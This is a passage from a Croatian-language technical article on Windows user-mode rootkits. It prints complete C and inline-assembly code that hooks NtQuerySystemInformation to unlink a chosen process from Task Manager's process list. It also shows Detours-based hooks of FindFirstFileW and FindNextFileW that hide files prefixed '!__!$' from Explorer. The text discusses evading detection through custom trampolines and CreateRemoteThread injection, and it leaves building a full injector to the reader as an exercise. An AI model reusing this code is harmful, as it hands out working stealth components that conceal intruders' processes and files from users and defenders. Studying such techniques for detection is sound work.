__declspec(naked) NTSTATUS MojNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG sysInfoLen, PULONG returnLen) { __asm { //spremi registar okvira stoga na stog i stvori novi okvir stoga, rezervirajući //prostor za lokalne varijable - ovo je ručno pisani prolog push ebp mov ebp, esp sub esp, __LOCAL_SIZE } //ako prvi parametar NIJE SystemProcessInformation = 5, onda nećemo ništa mijenjati jer se //ne radi o procesima, već o dohvatu drugih informacija o sustavu. //Pristojno ćemo pozvati stvarnu funkciju onako kako bi se ona stvarno pozvala if(sysInfoClass != SYSTEM_INFORMATION_CLASS::SystemProcessInformation) { __asm { //postavi parametre na stog obrnutim redoslijedom i pozovi funkciju push returnLen push sysInfoLen push sysInfo push sysInfoClass call far dword ptr stariNTQSI //obnovi prethodni okvir stoga i povećaj esp za 10 i vrati se u pozivajuću //funkciju - povratna vrijednost funkcije NtQuerySystemInformation je //(između ostalog) u registru eax mov esp, ebp pop ebp retn 10h } } DWORD pov; __asm { //dohvaćaju se upravo procesi, najprije pozovi funkciju normalno, a povratnu //vrijednost spremi u varijablu pov push returnLen push sysInfoLen push sysInfo push sysInfoClass call far dword ptr stariNTQSI mov pov, eax } //budući da NtQuerySystemInformation funkcija vraća listu procesa kojih može biti //proizvoljan broj (i veličina pojedinih elemenata/struktura te liste također može //varirati), ne zna se unaprijed koliki je prostor potrebno rezervirati za pohranu liste. //Početna (pretpostavljena) veličina liste unosi se kao parametar sysInfoLen, a u parametar //returnLen funkcija NtQuerySystemInformation zapisuje nužnu veličinu prostora. Većina //aplikacija koja poziva ovu funkciju radi tako da uzastopce poziva funkciju povećavajući //sysInfoLen parametar za vrijednost 0x1000. Ako funkcija vrati pogrešku //STATUS_INFO_LENGTH_MISMATCH što označava da je rezervirani prostor premalen, aplikacija će //povećati prostor za 0x1000 i ponovo pozvati funkciju, sve dok u nekom od poziva veličina //bude dostatna - TAKO RADI I TASK MANAGER APLIKACIJA! if(pov == STATUS_INFO_LENGTH_MISMATCH) { __asm { //prostor je premalen, vrati natrag povratnu vrijednost (grešku u ovom //slučaju) mov eax, pov //obnovi okvir stoga i vrati se u pozivajuću proceduru ažurirajući stog mov esp, ebp pop ebp retn 10h } } //sve je uspjelo, dohvatili smo listu procesa i po njoj možemo iterirati PSYSTEM_PROCESS_INFORMATION prethodnik; PSYSTEM_PROCESS_INFORMATION prInfo; //inicijaliziramo pokazivač na listu procesa prInfo = (PSYSTEM_PROCESS_INFORMATION) sysInfo; //uzimamo i njegovog prethodnika jer ćemo morati povezati prethodnika sa sljedbenikom nakon //što "izbacimo" željeni proces prethodnik = prInfo; //prolazi kroz listu procesa ažurirajući pokazivače prInfo i prethodnik, sve dok //NextEntryOffset polje u strukturi ne bude jednako 0 for(; prInfo->NextEntryOffset != 0; prethodnik = prInfo, prInfo = (PSYSTEM_PROCESS_INFORMATION) ((DWORD) prInfo + (DWORD) prInfo->NextEntryOffset)) { //dohvaćeno ime je Unicode, moramo ga pretvoriti u ASCII pa moramo znati koliki nam //je prostor potreban za smještaj stringa int size = WideCharToMultiByte(0, 0, (LPCWSTR) prInfo->Reserved2[1], -1, NULL, 0, NULL, 0); //prvi zapis nije imenovan, pa ga zanemarujemo if(size == 0) continue; //imeProc varijabla sadržavat će nakon konverzije ASCII ime procesa char *imeProc = (char *) VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE); WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, (LPCWSTR) prInfo->Reserved2[1], -1, imeProc, size, NULL, NULL); //ako je to ASCII ime procesa upravo jednako imenu procesa kojeg želimo sakriti if(!strcmp(imeProc, proces)) { //prethodnika tog procesa povezujemo sa sljedbenikom trenutnog procesa. //Na taj smo način efektivno "premostili" trenutni/traženi proces prethodnik->NextEntryOffset += prInfo->NextEntryOffset; VirtualFree(imeProc, 0, MEM_RELEASE); continue; } VirtualFree(imeProc, 0, MEM_RELEASE); } __asm { //vraćamo povratnu vrijednost i izlazimo iz funkcije mov eax, pov mov esp, ebp pop ebp retn 10h } }

I ova je funkcija vrlo dobro komentirana, a njeno djelovanje moglo bi se ukratko opisati na sljedeći način: funkcija najprije provjerava je li prvi parametar jednak 5 ( SYSTEM_PROCESS_INFORMATION). Ako nije, onda se normalno poziva originalna funkcija i prosljeđuje se dobivena povratna vrijednost jer u tom slučaju ne želimo ništa mijenjati. Ako je vrijednost 5, tada funkcija "počinje djelovati". Poziva se originalna funkcija i nadgledaju se povratne vrijednosti originalne funkcije. Budući da se vraća lista procesa proizvoljne duljine, vrlo vjerojatno alocirani memorijski prostor (pokazivač na njega predan je kao drugi parametar) nije dovoljno velik, pa će se prijaviti greška. U tom slučaju pozivajuća aplikacija (Task Manager) mora napraviti oporavak od pogreške, povećati memorijski prostor i pozvati funkciju ponovo. Detaljnije je ova situacija opisana u komentarima. Nakon što je alociran dovoljan memorijski prostor i poziv funkcije NtQuerySystemInformation() je uspio, povratna vrijednost je lista procesa. U zloćudnoj funkciji prolazi se kroz listu procesa i u slučaju da se naiđe na proces koji je potrebno sakriti, vrši se njegovo "izbacivanje" iz liste tako da se njegov prethodnik poveže s njegovim sljedbenikom čime je njegova pozicija u listi "izgubljena". Pri svim operacijama zloćudna funkcija mora voditi računa o stogovnim operacijama i oponašati stvarnu funkciju NtQuerySystemInformation() i vraćati točno odgovarajuće parametre, uz odgovarajuće "čišćenje" stoga.

Modifikacija uvozne tablice nije jedini način presretanja i otimanja funkcija koje neka aplikacija poziva. Mnogo moćnija, ali ujedno i mnogo složenija tehnika je dinamička instrumentacija, odnosno mijenjanje kôda pri izvođenju (engl. runtime code patching). Dinamička instrumentacija općenito označava mogućnost izmjene kôda programa umetanjem vlastitih odsječaka kôda prilikom izvođenja samog programa. Najčešće se dinamičkom instrumentacijom umeću instrukcije koje vrše različita ispitivanja i mjerenja brzine izvođenja programa (engl. profiling), no općenito se može raditi o bilo kojim instrukcijama i izmjenama bilo kojeg dijela kôda. Primjer biblioteke koja omogućuje dinamičku instrumentaciju je Microsoft Detours biblioteka. Između ostalog, Detours biblioteka omogućava izmjenu bilo koje funkcije koju aplikacija koristi i njenu zamjenu vlastitom funkcijom, uz čuvanje originalne verzije funkcije. Detours biblioteka prepisuje prvih 5 bajtova originalne funkcije naredbom bezuvjetnog skoka na korisnički definiranu funkciju koja se zove detourzaobilazna funkcija. Prije prepisivanja originalne funkcije, tih prvih 5 bajtova zajedno sa skokom na instrukciju koja slijedi nakon 5 bajtova pohranjuje se u prostor koji se nazivatrampoline – odskočnica. Zaobilazna funkcija može obaviti neki vlastiti posao, pozvati originalnu funkciju preko odskočnice, promijeniti rezultate originalne funkcije i vratiti proizvoljni rezultat pozivajućoj funkciji. Pritom originalna funkcija, zaobilazna funkcija i odskočnica (koja je u suštini također funkcija, točnije neka vrsta pokazivača na originalnu funkciju) moraju imati identične deklaracije: način pozivanja funkcije, povratna vrijednost i parametri moraju biti istovjetni. Princip djelovanja Detours biblioteke prikazan je na slici lijevo na primjeru funkcije FindFirstFileW() koju poziva Windows Explorer, a koja se zamjenjuje "zloćudnom" funkcijom MojFindFirstFile().

Detours biblioteka primjenjena na FindFirstFile() funkciju

Kada nije aktivirana "zaobilaznica", explorer.exe proces poziva funkciju FindFirstFileW() iz kernel32.dll biblioteke koja, nakon svog izvođenja vraća kontrolu pozivajućoj funkciji iz explorer.exe procesa. Kada se aktivira zaobilaznica, prvih 5 bajtova funkcije FindFirstFileW() u memorijskom prostoru kernel32.dll datoteke prepisuje se skokom na funkciju MojFindFirstFile(). Ta funkcija putem odskočnice poziva originalni oblik funkcije FindFirstFileW() koja vraća kontrolu zaobilaznici, a ne pozivajućoj funkciji iz explorer.exe procesa. Zaobilaznica može promijeniti rezultate originalne funkcije, obaviti neke druge zadatke, a na posljetku vraća kontrolu pozivajućoj funkciji iz explorer.exe procesa.

Same funkcije za rad s Detours bibliotekom vrlo su jednostavne i dobro su dokumentirane u pripadnoj dokumentaciji. Više o samoj biblioteci može se pronaći u [23G. Hunt, D. Brubacher, Microsoft Research, Detours: Binary Interception of Win32 Functions, White Paper, 1999.].

Izmjene u kôdu aplikacije su neznatne, potrebno je samo aktivirati zaobilaznicu odgovarajućim funkcijama, nakon što globalna Windows kuka uoči pokretanje Windows Explorer aplikacije:

HANDLE WINAPI MojFindFirstFile(LPCWSTR, LPWIN32_FIND_DATAW); typedef HANDLE (WINAPI *FINDFIRSTFILE) (LPCWSTR, LPWIN32_FIND_DATAW); BOOL WINAPI MojFindNextFile(HANDLE, LPWIN32_FIND_DATAW); typedef BOOL (WINAPI *FINDNEXTFILE) (HANDLE, LPWIN32_FIND_DATAW); FINDFIRSTFILE stariFFF = FindFirstFileW; FINDNEXTFILE stariFNF = FindNextFileW; ... if(!lstrcmpi(szBuf, szExplorerDir)) { //ako se sljedeći odsječak pokreće prvi put (za prvo dijete) if(!flagEx) { //pokrećemo Detour transakciju (vidjeti u dokumentaciji) DetourTransactionBegin(); //nakon izmjene koda funkcija, sve dretve moraju imati ispravne adrese EIP registra. //Ovo nije nužno, jer još niti jedna dretva u ovom trenutku nije aktivna DetourUpdateThread(GetCurrentThread()); //mijenjamo funkcije FindFirstFileW i FindNextFileW vlastitim verzijama DetourAttach(&(PVOID &) stariFFF, MojFindFirstFile); DetourAttach(&(PVOID &) stariFNF, MojFindNextFile); DetourTransactionCommit(); //ne želimo da se ovaj odsječak stalno ponavlja, za svaki dio explorer prozora flagEx = true; } } ...

Funkcije MojFindFirstFile() i MojFindNextFile() vrlo su jednostavne i osnovna im je zadaća sakrivanje datoteke/direktorija s imenom koje započinje nizom znakova !__!$ (taj je niz znakova proizvoljno odabran jer niti jedna "legitimna" datoteka ne počinje tim nizom znakova):

HANDLE WINAPI MojFindFirstFile(LPCWSTR fileName, LPWIN32_FIND_DATAW fileData) { HANDLE pov; //pozovi staru verziju FindFirstFileW funkcije pov = stariFFF(fileName, fileData); //ako povratna vrijednost nije NULL if(pov) { //provjeri da li se traži upravo datoteka s prefixom !__!$ if(ProvjeriPrefix(fileData)) { //ako da, pozovi našu verziju FindNextFileW funkcije bool povr = MojFindNextFile(pov, fileData); //ako je vrijednost false (dakle, radi se o datoteci s prefixom !__!$), onda //vrati FILE_NOT_FOUND pogrešku if(!povr) { SetLastError(ERROR_FILE_NOT_FOUND); pov = INVALID_HANDLE_VALUE; } } } //povratna vrijednost je ispravna ručica ili INVALID_HANDLE_VALUE u slučaju pogreške ili //"sakrivene" datoteke return pov; } bool ProvjeriPrefix(LPWIN32_FIND_DATAW fileData) { char prefix[10]; //ime datoteke je Unicode pa moramo prebaciti ime u Multibyte charset int size = WideCharToMultiByte(0, 0, (LPCWSTR) fileData->cFileName, -1, NULL, 0, NULL, 0); //varijabla imeDatoteke sadržavat će ime datoteke koja se trenutno "traži" char *imeDatoteke = (char *) VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE); WideCharToMultiByte(CP_ACP, WC_NO_BEST_FIT_CHARS, (LPCWSTR) fileData->cFileName, -1, imeDatoteke, size, NULL, NULL); //prvih 5 znakova imena stavljamo u polje prefix strncpy_s(prefix, 10, imeDatoteke, 5); VirtualFree(imeDatoteke, 0, MEM_RELEASE); //ako je prefix jednak !__!$, onda želimo dotičnu datoteku sakriti if(!strcmp(prefix, "!__!$")) return true; return false; } BOOL WINAPI MojFindNextFile(HANDLE hFile, LPWIN32_FIND_DATAW fileData) { BOOL pov; //pozivamo staru verziju funkcije FileNextFileW pov = stariFNF(hFile, fileData); //ako je povratna vrijednost true if(pov) { //sve dok čitamo datoteke s prefixom !__!$, njih želimo sakriti while(ProvjeriPrefix(fileData)) { //zovi dalje staru verziju funkcije pov = stariFNF(hFile, fileData); //ako nam je rezultat stare verzije false, želimo izaći van if(!pov) break; } } //vraćamo true u slučaju da je datoteka nađena i da ne počinje prefixom !__!$, inače vraćamo //false return pov; }

Sve funkcije su dobro dokumentirane i nije ih potrebno detaljnije razjasniti.

Iako je metoda mijenjanja kôda pri izvođenju jedna od najboljih metoda koju napadač može koristiti za "otimanje" funkcija u korisničkom načinu rada (u jezgrinom načinu se metoda također koristi, no na nešto drukčiji način), njezina realizacija pomoću Detours biblioteke nije idealna. Kada neka aplikacija koristi Detours biblioteku, ona mora imati pristup detoured.dll datoteci. Prisutnost te datoteke u nekom direktoriju kod pažljivog korisnika može pobuditi sumnju u zloćudne aktivnosti. Također, Detours biblioteka koristi posebne oznake kojima "označava" ciljne funkcije koje se zaobilaze i uzimajući u obzir te oznake, mogu se otkriti funkcije koje su "otete", kao i funkcije koje se koriste umjesto tih funkcija.

Napadači umjesto toga koriste neku vrstu vlastite implementacije Detours biblioteke, tj. ručno stvaraju odskočnicu i zamjenjuju prvih 5 bajtova ciljne funkcije skokom na zaobilaznu funkciju. Postupak nije trivijalan jer program mora prepoznavati instrukcije i njihove duljine kako bi mogao ispravno stvoriti odskočnicu, no za iskusnog napadača to ne predstavlja veći problem, a javno su dostupni brojni primjeri tog postupka (uključujući i kôd same Detours biblioteke).

IATMethod program najsloženiji je do sada opisan program, no i on ima (znatne) nedostatke. Pažljiviji čitatelj sigurno je uočio da se kôd IATMethod.dll datoteke uključuje u svaki pokrenuti program (uz određene iznimke koje će biti opisane kasnije), no samo u slučaju Windows Explorer i Task Manager aplikacija obavlja se "otimanje" funkcija. Jasno je da će bilo koja druga aplikacija koja prikazuje aktivne procese (npr. Process Explorer ili Security Task Manager [8aNeuber Software, Security Task Manager]) ili datoteke/direktorije (npr. xplorer2 [9aN. Bozinis, xplorer2] ili Total Commander [10aC. Ghisler, Total Commander]) bez ometanja prikazati sve datoteke, direktorije i procese koji bi trebali biti skriveni. U pojednim slučajevima taj je problem jednostavno riješiti jer neke aplikacije koriste iste funkcije kao i one koje su "otete" u Windows Explorer i Task Manager aplikaciji (npr. xplorer2 aplikacija koristi funkcije FindFirstFile() i FindNextFile() za "pretragu" datoteka i direktorija). No često aplikacije koriste sasvim različite metode i funkcije za prikaz procesa i datoteka odnosno direktorija. Najbolji primjer takve aplikacije je Process Explorer koji koristi vlastiti upravljački program i vlastite načine interakcije sa strukturama operacijskog sustava u svrhu pribavljanja liste aktivnih procesa. Takvu aplikaciju je ovakvom metodom gotovo nemoguće zlorabiti (iako je moguće otimanje na nižem nivou, brojni alati za prikrivanje prisutnosti napadača uspješno skrivaju procese od Process Explorer aplikacije).

Još jedan problem predstavljaju aplikacije u komandnoj liniji. Mehanizam Windows kuka ne prepoznaje pokretanje konzolne aplikacije zbog specifičnosti komandne linije. IATMethod program se oslanja na Windows kuke i zbog toga ne može detektirati jednostavne konzolne naredbe poput naredbe dir koja će prikazati "sakrivene" datoteke i direktorije koje Windows Explorer istovremeno neće prikazati. Windows kuke korištene su kako bi se proizvoljni kôd ubacio u adresni prostor aplikacije i kako bi se na taj način presrele pojedine funkcije, tj. modificiralo ponašanje aplikacije.

Jedna od metoda ubacivanja proizvoljnog kôda u adresni prostor bilo koje aplikacije je stvaranje udaljene dretve pozivom funkcije CreateRemoteThread() koja stvara dretvu koja se izvodi u kontekstu proizvoljne aplikacije. Postoje brojne metode umetanja proizvoljnog kôda i podataka u adresni prostor aplikacije, no navedene su samo one koje su najčešće korištene.

Imajući navedene činjenice na umu, napadač vrlo jednostavno može napisati program koji pretražuje listu trenutno aktivnih procesa i u tablici uvoznih adresa (ali ne samo u toj tablici već i na ostalim relevantnim lokacijama – podsjetimo se Windows Explorer aplikacije) i u svaki proces koji koristi funkcije koje želimo oteti, umeće zloćudni kôd i "otima" funkcije. Takvu aplikaciju zainteresirani čitatelj može vrlo lako sam napisati koristeći se informacijama navedenima u ovom radu.

IATMethod aplikacija ima još jedan nedostatak tehničke prirode koji je ovdje napravljen namjerno i sa svrhom. U slučaju da korisnik zaustavi Worker.exe proces zadužen za postavljanje i micanje kuke prije no što je zaustavljena Task Manager ili Windows Explorer aplikacija, operacijski sustav će dojaviti pogrešku (u slučaju jezgrinog načina rada, radilo bi se o plavom ekranu smrti) jer će aplikacija pokušati pozvati (zloćudnu) funkciju koja više ne postoji. Problem se može vrlo lako izbjeći poništavanjem svih izmjena nakon micanja Windows kuke, a taj je korak ostavljen zainteresiranom čitatelju kao vježba.

Natrag na vrh